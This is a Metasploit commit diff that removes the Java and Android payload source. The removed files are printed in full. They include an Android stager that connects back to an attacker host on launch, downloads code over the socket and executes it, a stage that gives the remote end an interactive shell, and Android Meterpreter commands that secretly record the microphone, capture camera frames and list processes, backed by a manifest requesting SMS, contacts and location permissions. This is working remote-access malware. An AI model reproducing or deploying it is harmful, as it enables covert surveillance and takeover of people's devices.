Land #1947, remove JavaPayload source

This commit is contained in:
William Vu 2013-06-12 11:17:23 -05:00
commit d05ef3ac77
119 changed files with 2 additions and 6749 deletions

View File

@ -1,39 +0,0 @@
To compile JavaPayload for Metasploit (including Java Meterpreter), you need
Maven 3.0 or above. Just run
mvn package
to package all the files, or
mvn -P deploy package
to package all the files and copy them into the correct place for Metasploit
(/data/java). If you get spurious compilation errors, make sure that there
is an exclude rule in your antivirus for the Metasploit directory (or that
your antivirus is disabled).
In case you want to edit/debug JavaPayload for Metasploit or Java Meterpreter,
Maven provides plugins to auto-generate project files for your favourite IDE
(at least for Eclipse, Netbeans or IntelliJ). I use Eclipse, so to generate
project files I use
mvn eclipse:eclipse
This will generate project files that can be imported via
File->Import->Existing Projects into Workspace
into your Eclipse workspace.
(Note that if this is your first Maven project you want to use in Eclipse, you
also have to run
mvn -Declipse.workspace=/path/to/your/workspace eclipse:configure-workspace
to set up path variables like M2_REPO to point to the correct location.)
For NetBeans or IntelliJ IDEA, refer to the documentation at
http://maven.apache.org/netbeans-module.html
http://maven.apache.org/plugins/maven-idea-plugin/

2
external/source/javapayload/README vendored Normal file
View File

@ -0,0 +1,2 @@
Java Payload source code has moved to its own repository, hosted at
https://github.com/rapid7/metasploit-javapayload

View File

@ -1,38 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.metasploit.stage"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk android:minSdkVersion="3"/>
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_COURSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
<uses-permission android:name="android.permission.CAMERA" />
<application
android:icon="@drawable/icon"
android:label="@string/app_name" >
<activity
android:name=".MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>

View File

@ -1,77 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-AndroidPayload</artifactId>
<version>1-SNAPSHOT</version>
<packaging>apk</packaging>
<name>AndroidPayload for Metasploit</name>
<dependencies>
<dependency>
<groupId>com.google.android</groupId>
<artifactId>android</artifactId>
<version>1.6_r2</version>
<scope>provided</scope>
</dependency>
</dependencies>
<build>
<finalName>${project.artifactId}</finalName>
<sourceDirectory>src</sourceDirectory>
<pluginManagement>
<plugins>
<plugin>
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
<artifactId>android-maven-plugin</artifactId>
<version>3.5.3</version>
<extensions>true</extensions>
</plugin>
</plugins>
</pluginManagement>
<plugins>
<plugin>
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
<artifactId>android-maven-plugin</artifactId>
<configuration>
<sdk>
<!-- platform or api level (api level 4 = platform 1.6)-->
<platform>3</platform>
</sdk>
</configuration>
</plugin>
</plugins>
</build>
<profiles>
<profile>
<!-- deploy built files to Metasploit data directory -->
<id>deploy</id>
<build>
<plugins>
<plugin>
<artifactId>maven-antrun-plugin</artifactId>
<version>1.7</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>run</goal>
</goals>
<configuration>
<target>
<unzip src="${project.basedir}/target/${project.build.finalName}.apk" dest="${project.basedir}/../../../../../data/android/apk" >
<patternset>
<exclude name="META-INF/**"/>
</patternset>
</unzip>
</target>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</profile>
</profiles>
</project>

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.1 KiB

View File

@ -1,13 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:orientation="vertical" >
<Button
android:id="@+id/button_reverse"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="ReverseTCP" />
</LinearLayout>

View File

@ -1,4 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<string name="app_name">MainActivity</string>
</resources>

View File

@ -1,56 +0,0 @@
package com.metasploit.stage;
import dalvik.system.DexClassLoader;
import android.content.Context;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.OutputStream;
import java.util.Random;
public class LoadStage {
private String randomJarName() {
char[] chars = "abcdefghijklmnopqrstuvwxyz".toCharArray();
StringBuilder sb = new StringBuilder();
Random random = new Random();
for (int i = 0; i < 20; i++) {
char c = chars[random.nextInt(chars.length)];
sb.append(c);
}
return sb.toString() + ".jar";
}
public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception {
String jarFile = randomJarName();
String path = context.getFilesDir().getAbsolutePath();
// Read the class name
int coreLen = in.readInt();
byte[] core = new byte[coreLen];
in.readFully(core);
String classFile = new String(core);
// Read the stage
coreLen = in.readInt();
core = new byte[coreLen];
in.readFully(core);
// Write the stage to /data/data/.../files/
FileOutputStream fos = context.openFileOutput(jarFile, Context.MODE_PRIVATE);
fos.write(core);
fos.close();
// Load the stage
DexClassLoader classLoader = new DexClassLoader(path + File.separatorChar + jarFile, path, path, context.getClassLoader());
Class<?> myClass = classLoader.loadClass(classFile);
final Object stage = myClass.newInstance();
myClass.getMethod("start", new Class[] {
DataInputStream.class, OutputStream.class, Context.class, String[].class
}).invoke(stage, new Object[] {
in, out, context, parameters
});
}
}

View File

@ -1,59 +0,0 @@
package com.metasploit.stage;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.OutputStream;
import java.net.Socket;
import android.app.Activity;
import android.os.AsyncTask;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
public class MainActivity extends Activity
{
// avoid re-ordering the strings in classes.dex - append XXXX
private static final String LHOST = "XXXX127.0.0.1 ";
private static final String LPORT = "YYYY4444 ";
@Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
findViewById(R.id.button_reverse).setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
startAsync();
}
});
startAsync();
}
private void startAsync() {
new AsyncTask<Void, Void, Void>() {
@Override
protected Void doInBackground(Void... params) {
reverseTCP();
return null;
}
}.execute();
}
private void reverseTCP() {
try {
String lhost = LHOST.substring(4).trim();
String lport = LPORT.substring(4).trim();
Socket msgsock = new Socket(lhost, Integer.parseInt(lport));
DataInputStream in = new DataInputStream(msgsock.getInputStream());
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
new LoadStage().start(in, out, this, new String[] {});
msgsock.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}

View File

@ -1,6 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.metasploit.stage"
android:versionCode="1"
android:versionName="1.0">
</manifest>

View File

@ -1,137 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-</artifactId>
<version>1-SNAPSHOT</version>
<packaging>apk</packaging>
<name>Android Meterpreter</name>
<dependencies>
<dependency>
<groupId>com.google.android</groupId>
<artifactId>android</artifactId>
<version>1.6_r2</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-JavaPayload</artifactId>
<version>${project.version}</version>
</dependency>
<dependency>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-Java-Meterpreter</artifactId>
<version>${project.version}</version>
</dependency>
<dependency>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-Java-Meterpreter-stdapi</artifactId>
<version>${project.version}</version>
</dependency>
</dependencies>
<build>
<finalName>${project.artifactId}</finalName>
<sourceDirectory>src</sourceDirectory>
<pluginManagement>
<plugins>
<plugin>
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
<artifactId>android-maven-plugin</artifactId>
<version>3.5.3</version>
<extensions>true</extensions>
</plugin>
</plugins>
</pluginManagement>
<plugins>
<plugin>
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
<artifactId>android-maven-plugin</artifactId>
<configuration>
<sdk>
<!-- platform or api level (api level 4 = platform 1.6)-->
<platform>3</platform>
</sdk>
</configuration>
</plugin>
</plugins>
</build>
<profiles>
<profile>
<!-- deploy built files to Metasploit data directory -->
<id>deploy</id>
<build>
<plugins>
<plugin>
<artifactId>maven-antrun-plugin</artifactId>
<version>1.7</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>run</goal>
</goals>
<configuration>
<target>
<condition property="dx.filename" value="dx.bat">
<os family="windows" />
</condition>
<property name="dx.filename" value="dx" />
<echo>Building shell</echo>
<delete dir="${project.basedir}/target/dx" />
<mkdir dir="${project.basedir}/target/dx/shell" />
<copy todir="${project.basedir}/target/dx/shell">
<fileset dir="${project.basedir}/target/classes">
<include name="androidpayload/stage/Shell.class" />
<include name="androidpayload/stage/Stage.class" />
</fileset>
<zipfileset src="${com.metasploit:Metasploit-JavaPayload:jar}" includes="javapayload/stage/StreamForwarder.class" />
</copy>
<exec executable="${android.sdk.path}/platform-tools/${dx.filename}" failonerror="true">
<arg value="--verbose" />
<arg value="--dex" />
<arg value="--output=${project.basedir}/../../../../../data/android/shell.jar" />
<arg value="${project.basedir}/target/dx/shell" />
</exec>
<echo>Building meterpreter stage</echo>
<mkdir dir="${project.basedir}/target/dx/metstage" />
<copy todir="${project.basedir}/target/dx/metstage">
<fileset dir="${project.basedir}/target/classes">
<include name="androidpayload/stage/Meterpreter.class" />
<include name="androidpayload/stage/Stage.class" />
</fileset>
</copy>
<exec executable="${android.sdk.path}/platform-tools/${dx.filename}" failonerror="true">
<arg value="--verbose" />
<arg value="--dex" />
<arg value="--output=${project.basedir}/../../../../../data/android/metstage.jar" />
<arg value="${project.basedir}/target/dx/metstage" />
</exec>
<echo>Building meterpreter</echo>
<mkdir dir="${project.basedir}/target/dx/meterpreter" />
<copy todir="${project.basedir}/target/dx/meterpreter">
<fileset dir="${project.basedir}/target/classes" includes="com/metasploit/meterpreter/**/*.class" />
</copy>
<exec executable="${android.sdk.path}/platform-tools/${dx.filename}" failonerror="true">
<arg value="--verbose" />
<arg value="--dex" />
<arg value="--output=${project.basedir}/../../../../../data/android/meterpreter.jar" />
<arg value="${project.basedir}/target/dx/meterpreter" />
<arg value="${com.metasploit:Metasploit-Java-Meterpreter:jar}" />
<arg value="${com.metasploit:Metasploit-Java-Meterpreter-stdapi:jar}" />
<arg value="${com.metasploit:Metasploit-JavaPayload:jar}" />
</exec>
</target>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</profile>
</profiles>
</project>

View File

@ -1,51 +0,0 @@
package androidpayload.stage;
import dalvik.system.DexClassLoader;
import android.content.Context;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.OutputStream;
import java.util.Random;
/**
* Meterpreter Java Payload Proxy
*/
public class Meterpreter implements Stage {
private String randomJarName() {
char[] chars = "abcdefghijklmnopqrstuvwxyz".toCharArray();
StringBuilder sb = new StringBuilder();
Random random = new Random();
for (int i = 0; i < 20; i++) {
char c = chars[random.nextInt(chars.length)];
sb.append(c);
}
return sb.toString() + ".jar";
}
public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception {
String jarFile = randomJarName();
String path = context.getFilesDir().getAbsolutePath();
// Read the stage
int coreLen = in.readInt();
byte[] core = new byte[coreLen];
in.readFully(core);
// Write the stage to /data/data/.../files/
FileOutputStream fos = context.openFileOutput(jarFile, Context.MODE_PRIVATE);
fos.write(core);
fos.close();
// Load the stage
DexClassLoader classLoader = new DexClassLoader(path + File.separatorChar + jarFile, path, path, context.getClassLoader());
Class<?> myClass = classLoader.loadClass("com.metasploit.meterpreter.AndroidMeterpreter");
myClass.getConstructor(new Class[] {
DataInputStream.class, OutputStream.class, Context.class, boolean.class
}).newInstance(in, out, context, false);
}
}

View File

@ -1,25 +0,0 @@
package androidpayload.stage;
import android.content.Context;
import java.io.DataInputStream;
import java.io.OutputStream;
import javapayload.stage.StreamForwarder;
/**
* Meterpreter Java Payload Proxy
*/
public class Shell implements Stage {
public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception {
final Process proc = Runtime.getRuntime().exec("sh");
new StreamForwarder(in, proc.getOutputStream(), out).start();
new StreamForwarder(proc.getInputStream(), out, out).start();
new StreamForwarder(proc.getErrorStream(), out, out).start();
proc.waitFor();
in.close();
out.close();
}
}

View File

@ -1,44 +0,0 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, 2011 Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package androidpayload.stage;
import android.content.Context;
import java.io.DataInputStream;
import java.io.OutputStream;
public interface Stage {
public abstract void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception;
}

View File

@ -1,88 +0,0 @@
package com.metasploit.meterpreter;
import java.io.DataInputStream;
import java.io.OutputStream;
import android.content.Context;
import com.metasploit.meterpreter.android.stdapi_fs_file_expand_path_android;
import com.metasploit.meterpreter.android.stdapi_sys_process_get_processes_android;
import com.metasploit.meterpreter.android.webcam_audio_record_android;
import com.metasploit.meterpreter.android.webcam_get_frame_android;
import com.metasploit.meterpreter.android.webcam_list_android;
import com.metasploit.meterpreter.android.webcam_start_android;
import com.metasploit.meterpreter.android.webcam_stop_android;
import com.metasploit.meterpreter.stdapi.Loader;
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_fs_file;
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_tcp_client;
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_tcp_server;
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_udp_client;
import com.metasploit.meterpreter.stdapi.stdapi_fs_chdir;
import com.metasploit.meterpreter.stdapi.stdapi_fs_delete_dir;
import com.metasploit.meterpreter.stdapi.stdapi_fs_delete_file;
import com.metasploit.meterpreter.stdapi.stdapi_fs_getwd;
import com.metasploit.meterpreter.stdapi.stdapi_fs_ls;
import com.metasploit.meterpreter.stdapi.stdapi_fs_md5;
import com.metasploit.meterpreter.stdapi.stdapi_fs_mkdir;
import com.metasploit.meterpreter.stdapi.stdapi_fs_search;
import com.metasploit.meterpreter.stdapi.stdapi_fs_separator;
import com.metasploit.meterpreter.stdapi.stdapi_fs_sha1;
import com.metasploit.meterpreter.stdapi.stdapi_fs_stat;
import com.metasploit.meterpreter.stdapi.stdapi_net_config_get_interfaces_V1_4;
import com.metasploit.meterpreter.stdapi.stdapi_net_config_get_routes_V1_4;
import com.metasploit.meterpreter.stdapi.stdapi_net_socket_tcp_shutdown_V1_3;
import com.metasploit.meterpreter.stdapi.stdapi_sys_config_getuid;
import com.metasploit.meterpreter.stdapi.stdapi_sys_config_sysinfo;
import com.metasploit.meterpreter.stdapi.stdapi_sys_process_execute_V1_3;
public class AndroidMeterpreter extends Meterpreter {
private final Context context;
public Context getContext() {
return context;
}
public AndroidMeterpreter(DataInputStream in, OutputStream rawOut, Context context, boolean redirectErrors) throws Exception {
super(in, rawOut, true, redirectErrors, false);
this.context = context;
startExecuting();
}
@Override
public String[] loadExtension(byte[] data) throws Exception {
getCommandManager().resetNewCommands();
CommandManager mgr = getCommandManager();
Loader.cwd = context.getFilesDir().getAbsoluteFile();
mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class);
mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class);
mgr.registerCommand("channel_create_stdapi_net_tcp_server", channel_create_stdapi_net_tcp_server.class);
mgr.registerCommand("channel_create_stdapi_net_udp_client", channel_create_stdapi_net_udp_client.class);
mgr.registerCommand("stdapi_fs_chdir", stdapi_fs_chdir.class);
mgr.registerCommand("stdapi_fs_delete_dir", stdapi_fs_delete_dir.class);
mgr.registerCommand("stdapi_fs_delete_file", stdapi_fs_delete_file.class);
mgr.registerCommand("stdapi_fs_file_expand_path", stdapi_fs_file_expand_path_android.class);
mgr.registerCommand("stdapi_fs_getwd", stdapi_fs_getwd.class);
mgr.registerCommand("stdapi_fs_ls", stdapi_fs_ls.class);
mgr.registerCommand("stdapi_fs_mkdir", stdapi_fs_mkdir.class);
mgr.registerCommand("stdapi_fs_md5", stdapi_fs_md5.class);
mgr.registerCommand("stdapi_fs_search", stdapi_fs_search.class);
mgr.registerCommand("stdapi_fs_separator", stdapi_fs_separator.class);
mgr.registerCommand("stdapi_fs_stat", stdapi_fs_stat.class);
mgr.registerCommand("stdapi_fs_sha1", stdapi_fs_sha1.class);
mgr.registerCommand("stdapi_net_config_get_interfaces", stdapi_net_config_get_interfaces_V1_4.class);
mgr.registerCommand("stdapi_net_config_get_routes", stdapi_net_config_get_routes_V1_4.class);
mgr.registerCommand("stdapi_net_socket_tcp_shutdown", stdapi_net_socket_tcp_shutdown_V1_3.class);
mgr.registerCommand("stdapi_sys_config_getuid", stdapi_sys_config_getuid.class);
mgr.registerCommand("stdapi_sys_config_sysinfo", stdapi_sys_config_sysinfo.class);
mgr.registerCommand("stdapi_sys_process_execute", stdapi_sys_process_execute_V1_3.class);
mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes_android.class);
mgr.registerCommand("webcam_audio_record", webcam_audio_record_android.class);
mgr.registerCommand("webcam_list", webcam_list_android.class);
mgr.registerCommand("webcam_start", webcam_start_android.class);
mgr.registerCommand("webcam_stop", webcam_stop_android.class);
mgr.registerCommand("webcam_get_frame", webcam_get_frame_android.class);
return getCommandManager().getNewCommands();
}
}

View File

@ -1,10 +0,0 @@
package com.metasploit.meterpreter.android;
import com.metasploit.meterpreter.stdapi.stdapi_fs_file_expand_path;
public class stdapi_fs_file_expand_path_android extends stdapi_fs_file_expand_path {
protected String getShellPath() {
return "sh";
}
}

View File

@ -1,46 +0,0 @@
package com.metasploit.meterpreter.android;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class stdapi_sys_process_get_processes_android implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
Process proc = Runtime.getRuntime().exec(new String[] {
"sh", "-c", "ps 2>/dev/null"
});
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String line = br.readLine();
if (line == null) {
return ERROR_FAILURE;
}
while ((line = br.readLine()) != null) {
String[] parts = line.replace('\t', ' ').trim().split(" ");
if (parts.length < 2) {
continue;
}
int pid = -1;
for (String part : parts) {
try {
pid = Integer.valueOf(part);
} catch (NumberFormatException e) {
continue;
}
break;
}
TLVPacket grp = new TLVPacket();
grp.add(TLVType.TLV_TYPE_PID, pid);
grp.add(TLVType.TLV_TYPE_USER_NAME, parts[0]);
grp.add(TLVType.TLV_TYPE_PROCESS_NAME, parts[parts.length - 1]);
response.addOverflow(TLVType.TLV_TYPE_PROCESS_GROUP, grp);
}
return ERROR_SUCCESS;
}
}

View File

@ -1,75 +0,0 @@
package com.metasploit.meterpreter.android;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
import android.media.AudioFormat;
import android.media.AudioRecord;
import android.media.MediaRecorder.AudioSource;
import android.util.Log;
public class webcam_audio_record_android extends webcam_audio_record implements Command {
private static final int AUDIO_SAMPLE_RATE = 8000;
private static final int AUDIO_CHANNEL_CONFIG = AudioFormat.CHANNEL_CONFIGURATION_MONO;
private static final int AUDIO_CHANNEL_ENCODING = AudioFormat.ENCODING_PCM_16BIT;
private static final int TLV_EXTENSIONS = 20000;
private static final int TLV_TYPE_AUDIO_DURATION = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1);
private static final int TLV_TYPE_AUDIO_DATA = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 2);
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
AudioRecord recorder = null;
try {
int duration = request.getIntValue(TLV_TYPE_AUDIO_DURATION);
int bufferSize = AudioRecord.getMinBufferSize(AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_CONFIG, AUDIO_CHANNEL_ENCODING);
int fullBuffer = duration * AUDIO_SAMPLE_RATE;
if (fullBuffer < bufferSize) {
fullBuffer = bufferSize;
}
recorder = new AudioRecord(AudioSource.MIC, AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_CONFIG, AUDIO_CHANNEL_ENCODING, fullBuffer);
DataOutputStream da = new DataOutputStream(baos);
byte[] buffer = new byte[fullBuffer];
recorder.startRecording();
recorder.read(buffer, 0, buffer.length);
short bSamples = (AUDIO_CHANNEL_ENCODING == AudioFormat.ENCODING_PCM_16BIT) ? 16 : 8;
short nChannels = (AUDIO_CHANNEL_CONFIG == AudioFormat.CHANNEL_CONFIGURATION_MONO) ? 1 : 2;
da.writeBytes("RIFF");
da.writeInt(Integer.reverseBytes(36+fullBuffer));
da.writeBytes("WAVE");
da.writeBytes("fmt ");
da.writeInt(Integer.reverseBytes(16)); // Sub-chunk size, 16 for PCM
da.writeShort(Short.reverseBytes((short) 1)); // AudioFormat, 1 for PCM
da.writeShort(Short.reverseBytes(nChannels));// Number of channels, 1 for mono, 2 for stereo
da.writeInt(Integer.reverseBytes(AUDIO_SAMPLE_RATE)); // Sample rate
da.writeInt(Integer.reverseBytes(AUDIO_SAMPLE_RATE*bSamples*nChannels/8)); // Byte rate, SampleRate*NumberOfChannels*BitsPerSample/8
da.writeShort(Short.reverseBytes((short)(nChannels*bSamples/8))); // Block align, NumberOfChannels*BitsPerSample/8
da.writeShort(Short.reverseBytes(bSamples)); // Bits per sample
da.writeBytes("data");
da.writeInt(Integer.reverseBytes(fullBuffer));
da.write(buffer);
da.flush();
} catch (Throwable x) {
Log.e(webcam_audio_record_android.class.getSimpleName(), "Error reading voice audio ", x);
} finally {
if (recorder != null) {
recorder.stop();
recorder.release();
}
}
response.add(TLV_TYPE_AUDIO_DATA, baos.toByteArray());
return ERROR_SUCCESS;
}
}

View File

@ -1,59 +0,0 @@
package com.metasploit.meterpreter.android;
import android.graphics.PixelFormat;
import android.hardware.Camera;
import android.hardware.Camera.Parameters;
import android.hardware.Camera.PictureCallback;
import android.util.Log;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
public class webcam_get_frame_android extends webcam_audio_record implements Command {
private static final int TLV_EXTENSIONS = 20000;
private static final int TLV_TYPE_WEBCAM_IMAGE = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 1);
private static final int TLV_TYPE_WEBCAM_QUALITY = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 3);
private byte[] cameraData;
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
int quality = request.getIntValue(TLV_TYPE_WEBCAM_QUALITY);
try {
if (webcam_start_android.camera == null) {
return ERROR_FAILURE;
}
cameraData = null;
//Parameters params = webcam_start_android.camera.getParameters();
//params.setPictureFormat(PixelFormat.JPEG);
//params.set("jpeg-quality", quality);
webcam_start_android.camera.takePicture(null, null, new PictureCallback() {
@Override
public void onPictureTaken(byte[] data, Camera camera) {
cameraData = data;
synchronized (webcam_get_frame_android.this) {
webcam_get_frame_android.this.notify();
}
}
});
synchronized (this) {
wait(10000);
}
if (cameraData != null) {
response.add(TLV_TYPE_WEBCAM_IMAGE, cameraData);
}
} catch (Exception e) {
Log.e(getClass().getSimpleName(), "webcam error ", e);
}
return ERROR_SUCCESS;
}
}

View File

@ -1,58 +0,0 @@
package com.metasploit.meterpreter.android;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
import android.util.Log;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class webcam_list_android extends webcam_audio_record implements Command {
private static final int TLV_EXTENSIONS = 20000;
private static final int TLV_TYPE_WEBCAM_NAME = TLVPacket.TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 4);
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
try {
Class<?> cameraClass = Class.forName("android.hardware.Camera");
Object cameraInfo = null;
Field field = null;
int cameraCount = 0;
try {
Method getNumberOfCamerasMethod = cameraClass.getMethod("getNumberOfCameras");
cameraCount = (Integer)getNumberOfCamerasMethod.invoke(null, (Object[])null);
} catch (NoSuchMethodException nsme) {
response.add(TLV_TYPE_WEBCAM_NAME, "Default Camera"); // Pre 2.2 device
return ERROR_SUCCESS;
}
Class<?> cameraInfoClass = Class.forName("android.hardware.Camera$CameraInfo");
if (cameraInfoClass != null) {
cameraInfo = cameraInfoClass.newInstance();
}
if (cameraInfo != null) {
field = cameraInfo.getClass().getField("facing");
}
Method getCameraInfoMethod = cameraClass.getMethod("getCameraInfo", Integer.TYPE, cameraInfoClass);
if (getCameraInfoMethod != null && cameraInfoClass != null && field != null) {
for (int camIdx = 0; camIdx < cameraCount; camIdx++) {
getCameraInfoMethod.invoke(null, camIdx, cameraInfo);
int facing = field.getInt(cameraInfo);
if (facing == 1) { // Camera.CameraInfo.CAMERA_FACING_FRONT
response.addOverflow(TLV_TYPE_WEBCAM_NAME, "Front Camera");
} else {
response.addOverflow(TLV_TYPE_WEBCAM_NAME, "Back Camera");
}
}
}
} catch (Exception e) {
Log.e(getClass().getSimpleName(), "webcam error ", e);
}
return ERROR_SUCCESS;
}
}

View File

@ -1,42 +0,0 @@
package com.metasploit.meterpreter.android;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
import android.hardware.Camera;
import android.util.Log;
import java.lang.reflect.Method;
public class webcam_start_android extends webcam_audio_record implements Command {
private static final int TLV_EXTENSIONS = 20000;
private static final int TLV_TYPE_WEBCAM_INTERFACE_ID = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2);
public static Camera camera;
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
int camId = request.getIntValue(TLV_TYPE_WEBCAM_INTERFACE_ID);
try {
Class<?> cameraClass = Class.forName("android.hardware.Camera");
Method cameraOpenMethod = cameraClass.getMethod("open", Integer.TYPE);
if (cameraOpenMethod != null) {
camera = (Camera)cameraOpenMethod.invoke(null, camId - 1);
} else {
camera = Camera.open();
}
camera.setPreviewDisplay(null);
camera.startPreview();
} catch (Exception e) {
Log.e(getClass().getSimpleName(), "webcam error ", e);
}
return ERROR_SUCCESS;
}
}

View File

@ -1,28 +0,0 @@
package com.metasploit.meterpreter.android;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
